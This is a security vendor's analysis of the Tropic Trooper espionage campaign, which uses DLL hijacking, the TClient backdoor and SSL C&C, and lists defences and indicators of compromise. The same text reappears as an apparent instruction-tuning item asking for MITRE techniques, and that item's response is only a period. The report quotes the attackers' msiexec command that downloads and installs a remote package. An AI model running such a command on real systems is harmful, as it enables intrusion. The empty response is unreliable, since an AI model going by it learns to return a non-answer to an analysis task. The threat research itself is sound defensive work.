Article Content by Jaromir Horejsi, Joey Chen, and Joseph C Chen Tropic Trooper (also known as KeyBoy) levels its campaigns against Taiwanese, Philippine, and Hong Kong targets, focusing on their government, healthcare, transportation, and high-tech industries Its operators are believed to be very organized and develop their own cyberespionage tools that they fine-tuned in their recent campaigns Many of the tools they use now feature new behaviors, including a change in the way they maintain a foothold in the targeted network Attack Chain  Figure 1 Download an installer package (.msi) and install it on the system by executing the command: /c msiexec /q /i [hxxp://61[.]216[.]5[.]24/in.sys]) The backdoor installer will drop a normal sidebar.exe file (a Windows Gadget tool, a feature already discontinued by Windows), a malicious loader (in “C:\ProgramData\Apple\Update\wab32res.dll“), and an encrypted configuration file The malicious loader will use dynamic-link library (DLL) hijacking — injecting malicious code into a process of a file/application — on sidebar.exe and launch dllhost.exe (a normal file) We also observed malicious documents that don’t need to download anything from the internet as the backdoor’s dropper is already embedded in the document This, however, doesn’t influence the overall result for the victim Tropic Trooper uses exploit-laden Microsoft Office documents to deliver malware to targets These documents use job vacancies in organizations that may be deemed socio-politically sensitive to recipients Below is a screenshot of the document used in their latest campaigns:  Figure 2 Figure 3 PDB strings inside the MSI file The first PDB string has a certain ss2/Projects/MsiWrapper (Project MsiWrapper) in it, which we found to be an open-source application that converts executable setup programs to MSI files The second PDB string contains Work, House, and TSSL: we can assume this tool belongs to Tropic Trooper’s TSSL project as seen by other researchers Here it is a new one, as seen in their misspelling of “Horse” to “House” (other reports had the string typed correctly) Another interesting PDB string we found is D:\Work\Project\VS\house\Apple\Apple_20180115\Release\InstallClient.pdb It would then use sidebar.exe to load the malicious wab32res.dll (TROJ_TCLT.ZDFB) through DLL hijacking This is carried out to evade antivirus (AV) detection, because wab32res.dll is loaded by a benign file Figure 4 The installer drops three files into the Apple/Update directory   Figure 5 PDB strings inside the loader file From the PDB string above, the attackers intended it to be a loader (hence the name FakeRun) and not the actual backdoor The backdoor, TClient (BKDR_TCLT.ZDFB), is so named from its own PDB string Figure 6 Once the loader is executed, it will check the current process (sidebar.exe) whether to load it or not Figure 7 The loader checking the sidebar process  Figure 8 The malicious loader injecting the backdoor into dllhost.exe  Figure 9 Comparison of TClient’s configuration format in 2016 (left, from other researchers) and 2018 (right) TClient will use SSL to connect to Tropic Trooper’s C&C server However, the C&C server and some configuration values are not hardcoded in the backdoor This allows Tropic Trooper’s operators to easily change/update the C&C server and configure other values TClient is actually one of Tropic Trooper’s other backdoors The backdoor noted by other security researchers was encoded with different algorithms and configured with different parameter names in 2016, for instance TClient uses symmetric encryption to decrypt its configuration with one 16-byte key in 2018 TClient will use custom SSL libraries to connect the C&C server We also found another SSL certificate on this C&C server A closer look reveals that it was registered quite recently, and is set to expire after a year, suggesting Tropic Trooper’s use or abuse of components or services that elapse so they can leave as few traces as possible Figure 13 SSL certificate’s validity Following Tropic Trooper’s Trails  We further monitored their activities and found three additional and notable PDB strings in their malware:  D:\Work\Project\VS\HSSL\HSSL_Unicode _2\Release\ServiceClient.pdb D:\Work\VS\Horse\TSSL\TSSL_v3.0\TClient\Release\TClient.pdb D:\Work\VS\Horse\TSSL\TSSL_v0.3.1_20170722\TClient\x64\Release\TClient.pdb  These came from open-intelligence platforms and incident response cases These strings shed further light on Tropic Trooper’s operations:  They have another campaign/project named HSSL, which supports Unicode characters The TSSL project has a v3.0 version, indicating the operators can mix and match different versions of their malware, depending on their target The TSSL project has 64-bit version The Need for a Proactive Incident Response Strategy Cyberespionage campaigns are persistent and, as shown by Tropic Trooper, always raring to exploit weaknesses in people and technology For organizations, this highlights the significance of staying ahead of their attackers: detect, analyze, and respond What techniques will they use? How can my organization’s attack surface be reduced? What did I do to respond to the threat — what worked, what didn’t, and what could be fine-tuned? A proactive incident response strategy provides threat intelligence — from the endpoint to the network — that can let IT/system administrators identify malicious activities that aren’t typically visible to traditional security solutions TClient, for instance, uses DLL hijacking and injection that may not be as noticeable to others Its use of the SSL protocol also means it can blend with legitimate traffic Analyzing their PDB strings can also provide a deeper insight into the campaign’s bigger picture Ascertaining the tactics and techniques they use empower organizations in developing robust and actionable indicators of compromise (IoCs) that can act as benchmarks for response Here are some best practices that organizations can adopt:  Keep the system, its applications, and the network updated The vulnerabilities that Tropic Trooper’s campaigns have been patched last January, for instance Enforce a stronger patch management policy, and consider virtual patching for legacy systems Enforce the principle of least privilege: Employ network segmentation and data categorization to deter lateral movement and mitigate further exposure Application control and behavior monitoring block suspicious files and anomalous routines from being installed or executed in the system Disable or secure the use of system administration tools such as PowerShell and other command-line tools that may be abused Actively monitor your perimeter, from gateways and endpoints to networks and servers Firewalls as well as intrusion detection and prevention systems help thwart network-based attacks Nurture a culture of cybersecurity Spear-phishing emails, for instance, rely on baiting targets with socially engineered documents The technologies that help protect the organization are only as good as the people who use them Indicators of Compromise (IoCs): Related Hashes (SHA-256): Detected as CVE-2018-0802.ZTFC:  1d128fd61c2c121d9f2e1628630833172427e5d486cdd4b6d567b7bdac13935e  BKDR_TCLT.ZDFB:  01087051f41df7bb030256c97497f69bc5b5551829da81b8db3f46ba622d8a69  BKDR64_TCLT.ZTFB:  6e900e5b6dc4f21a004c5b5908c81f055db0d7026b3c5e105708586f85d3e334  TROJ_SCLT.ZTFB:  49df4fec76a0ffaee5e4d933a734126c1a7b32d1c9cb5ab22a868e8bfc653245  TROJ_TCDROP.ZTFB:  b0f120b11f727f197353bc2c98d606ed08a06f14a1c012d3db6fe0a812df528a d65f809f7684b28a6fa2d9397582f350318027999be3acf1241ff44d4df36a3a 85d32cb3ae046a38254b953a00b37bb87047ec435edb0ce359a867447ee30f8b  TROJ_TCLT.ZDFB:  02281e26e89b61d84e2df66a0eeb729c5babd94607b1422505cd388843dd5456 fb9c9cbf6925de8c7b6ce8e7a8d5290e628be0b82a58f3e968426c0f734f38f6  URLs related to C&C communication:  qpoe[.]com wikaba[.]com tibetnews[.]today dns-stuff[.]com 2waky[.]com  The post Tropic Trooper’s New Strategy appeared first on 
Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Article Content by Jaromir Horejsi, Joey Chen, and Joseph C Chen Tropic Trooper (also known as KeyBoy) levels its campaigns against Taiwanese, Philippine, and Hong Kong targets, focusing on their government, healthcare, transportation, and high-tech industries Its operators are believed to be very organized and develop their own cyberespionage tools that they fine-tuned in their recent campaigns Many of the tools they use now feature new behaviors, including a change in the way they maintain a foothold in the targeted network Attack Chain  Figure 1 Download an installer package (.msi) and install it on the system by executing the command: /c msiexec /q /i [hxxp://61[.]216[.]5[.]24/in.sys]) The backdoor installer will drop a normal sidebar.exe file (a Windows Gadget tool, a feature already discontinued by Windows), a malicious loader (in “C:\ProgramData\Apple\Update\wab32res.dll“), and an encrypted configuration file The malicious loader will use dynamic-link library (DLL) hijacking — injecting malicious code into a process of a file/application — on sidebar.exe and launch dllhost.exe (a normal file) We also observed malicious documents that don’t need to download anything from the internet as the backdoor’s dropper is already embedded in the document This, however, doesn’t influence the overall result for the victim Tropic Trooper uses exploit-laden Microsoft Office documents to deliver malware to targets These documents use job vacancies in organizations that may be deemed socio-politically sensitive to recipients Below is a screenshot of the document used in their latest campaigns:  Figure 2 Figure 3 PDB strings inside the MSI file The first PDB string has a certain ss2/Projects/MsiWrapper (Project MsiWrapper) in it, which we found to be an open-source application that converts executable setup programs to MSI files The second PDB string contains Work, House, and TSSL: we can assume this tool belongs to Tropic Trooper’s TSSL project as seen by other researchers Here it is a new one, as seen in their misspelling of “Horse” to “House” (other reports had the string typed correctly) Another interesting PDB string we found is D:\Work\Project\VS\house\Apple\Apple_20180115\Release\InstallClient.pdb It would then use sidebar.exe to load the malicious wab32res.dll (TROJ_TCLT.ZDFB) through DLL hijacking This is carried out to evade antivirus (AV) detection, because wab32res.dll is loaded by a benign file Figure 4 The installer drops three files into the Apple/Update directory   Figure 5 PDB strings inside the loader file From the PDB string above, the attackers intended it to be a loader (hence the name FakeRun) and not the actual backdoor The backdoor, TClient (BKDR_TCLT.ZDFB), is so named from its own PDB string Figure 6 Once the loader is executed, it will check the current process (sidebar.exe) whether to load it or not Figure 7 The loader checking the sidebar process  Figure 8 The malicious loader injecting the backdoor into dllhost.exe  Figure 9 Comparison of TClient’s configuration format in 2016 (left, from other researchers) and 2018 (right) TClient will use SSL to connect to Tropic Trooper’s C&C server However, the C&C server and some configuration values are not hardcoded in the backdoor This allows Tropic Trooper’s operators to easily change/update the C&C server and configure other values TClient is actually one of Tropic Trooper’s other backdoors The backdoor noted by other security researchers was encoded with different algorithms and configured with different parameter names in 2016, for instance TClient uses symmetric encryption to decrypt its configuration with one 16-byte key in 2018 TClient will use custom SSL libraries to connect the C&C server We also found another SSL certificate on this C&C server A closer look reveals that it was registered quite recently, and is set to expire after a year, suggesting Tropic Trooper’s use or abuse of components or services that elapse so they can leave as few traces as possible Figure 13 SSL certificate’s validity Following Tropic Trooper’s Trails  We further monitored their activities and found three additional and notable PDB strings in their malware:  D:\Work\Project\VS\HSSL\HSSL_Unicode _2\Release\ServiceClient.pdb D:\Work\VS\Horse\TSSL\TSSL_v3.0\TClient\Release\TClient.pdb D:\Work\VS\Horse\TSSL\TSSL_v0.3.1_20170722\TClient\x64\Release\TClient.pdb  These came from open-intelligence platforms and incident response cases These strings shed further light on Tropic Trooper’s operations:  They have another campaign/project named HSSL, which supports Unicode characters The TSSL project has a v3.0 version, indicating the operators can mix and match different versions of their malware, depending on their target The TSSL project has 64-bit version The Need for a Proactive Incident Response Strategy Cyberespionage campaigns are persistent and, as shown by Tropic Trooper, always raring to exploit weaknesses in people and technology For organizations, this highlights the significance of staying ahead of their attackers: detect, analyze, and respond What techniques will they use? How can my organization’s attack surface be reduced? What did I do to respond to the threat — what worked, what didn’t, and what could be fine-tuned? A proactive incident response strategy provides threat intelligence — from the endpoint to the network — that can let IT/system administrators identify malicious activities that aren’t typically visible to traditional security solutions TClient, for instance, uses DLL hijacking and injection that may not be as noticeable to others Its use of the SSL protocol also means it can blend with legitimate traffic Analyzing their PDB strings can also provide a deeper insight into the campaign’s bigger picture Ascertaining the tactics and techniques they use empower organizations in developing robust and actionable indicators of compromise (IoCs) that can act as benchmarks for response Here are some best practices that organizations can adopt:  Keep the system, its applications, and the network updated The vulnerabilities that Tropic Trooper’s campaigns have been patched last January, for instance Enforce a stronger patch management policy, and consider virtual patching for legacy systems Enforce the principle of least privilege: Employ network segmentation and data categorization to deter lateral movement and mitigate further exposure Application control and behavior monitoring block suspicious files and anomalous routines from being installed or executed in the system Disable or secure the use of system administration tools such as PowerShell and other command-line tools that may be abused Actively monitor your perimeter, from gateways and endpoints to networks and servers Firewalls as well as intrusion detection and prevention systems help thwart network-based attacks Nurture a culture of cybersecurity Spear-phishing emails, for instance, rely on baiting targets with socially engineered documents The technologies that help protect the organization are only as good as the people who use them Indicators of Compromise (IoCs): Related Hashes (SHA-256): Detected as CVE-2018-0802.ZTFC:  1d128fd61c2c121d9f2e1628630833172427e5d486cdd4b6d567b7bdac13935e  BKDR_TCLT.ZDFB:  01087051f41df7bb030256c97497f69bc5b5551829da81b8db3f46ba622d8a69  BKDR64_TCLT.ZTFB:  6e900e5b6dc4f21a004c5b5908c81f055db0d7026b3c5e105708586f85d3e334  TROJ_SCLT.ZTFB:  49df4fec76a0ffaee5e4d933a734126c1a7b32d1c9cb5ab22a868e8bfc653245  TROJ_TCDROP.ZTFB:  b0f120b11f727f197353bc2c98d606ed08a06f14a1c012d3db6fe0a812df528a d65f809f7684b28a6fa2d9397582f350318027999be3acf1241ff44d4df36a3a 85d32cb3ae046a38254b953a00b37bb87047ec435edb0ce359a867447ee30f8b  TROJ_TCLT.ZDFB:  02281e26e89b61d84e2df66a0eeb729c5babd94607b1422505cd388843dd5456 fb9c9cbf6925de8c7b6ce8e7a8d5290e628be0b82a58f3e968426c0f734f38f6  URLs related to C&C communication:  qpoe[.]com wikaba[.]com tibetnews[.]today dns-stuff[.]com 2waky[.]com  The post Tropic Trooper’s New Strategy appeared first on  ### Response: .